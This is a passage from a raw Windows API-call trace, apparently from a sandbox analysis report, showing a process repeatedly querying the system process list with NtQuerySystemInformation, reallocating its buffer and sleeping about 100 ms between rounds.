SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.025] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0136.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.026] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0136.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0136.026] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0136.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0136.026] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0136.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0136.026] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0136.026] Sleep (dwMilliseconds=0x64) [0136.273] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0136.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0136.273] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0136.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0136.273] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0136.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0136.274] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0136.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.274] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0136.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.274] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0136.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.274] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0136.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.274] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0136.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0136.274] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0136.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0136.274] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0136.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0136.275] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0136.275] Sleep (dwMilliseconds=0x64) [0136.465] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0136.465] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0136.465] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0136.465] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0136.465] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0136.465] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0136.465] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0136.465] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.465] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0136.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.466] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0136.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.466] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0136.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.466] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0136.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0136.466] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0136.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0136.466] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0136.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0136.466] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0136.467] Sleep (dwMilliseconds=0x64) [0136.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0136.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0136.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0136.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0136.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0136.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0136.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0136.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0136.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0136.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0136.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0136.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0136.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0136.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0136.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0136.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0136.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0136.789] Sleep (dwMilliseconds=0x64) [0137.188] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0137.192] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0137.254] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0137.259] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0137.296] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0137.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0137.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0137.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0137.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0137.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0137.435] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0137.435] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0137.435] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0137.435] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0137.435] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0137.435] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0137.435] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0137.435] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0137.435] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0137.435] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0137.435] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0137.435] Sleep (dwMilliseconds=0x64) [0137.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0137.640] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0137.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0137.640] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0137.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0137.640] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0137.640] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0137.640] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0137.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0137.641] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0137.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0137.641] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0137.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0137.641] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0137.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0137.641] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0137.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0137.641] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0137.641] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0137.641] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0137.642] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0137.642] Sleep (dwMilliseconds=0x64) [0137.903] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0137.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0137.904] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0137.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0137.904] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0137.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0137.904] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0137.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0137.904] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0137.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0137.904] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0137.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0137.904] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0137.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0137.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0137.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0137.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0137.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0137.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0137.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0137.905] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0137.905] Sleep (dwMilliseconds=0x64) [0138.275] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0138.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0138.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0138.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0138.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0138.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0138.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0138.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0138.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0138.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0138.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.277] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0138.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0138.277] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0138.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0138.277] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0138.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0138.277] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0138.277] Sleep (dwMilliseconds=0x64) [0138.529] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0138.529] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0138.529] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0138.529] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0138.529] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0138.529] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0138.529] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0138.529] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.529] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0138.529] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.529] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0138.529] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.529] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0138.529] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.530] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0138.530] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0138.530] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0138.530] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, 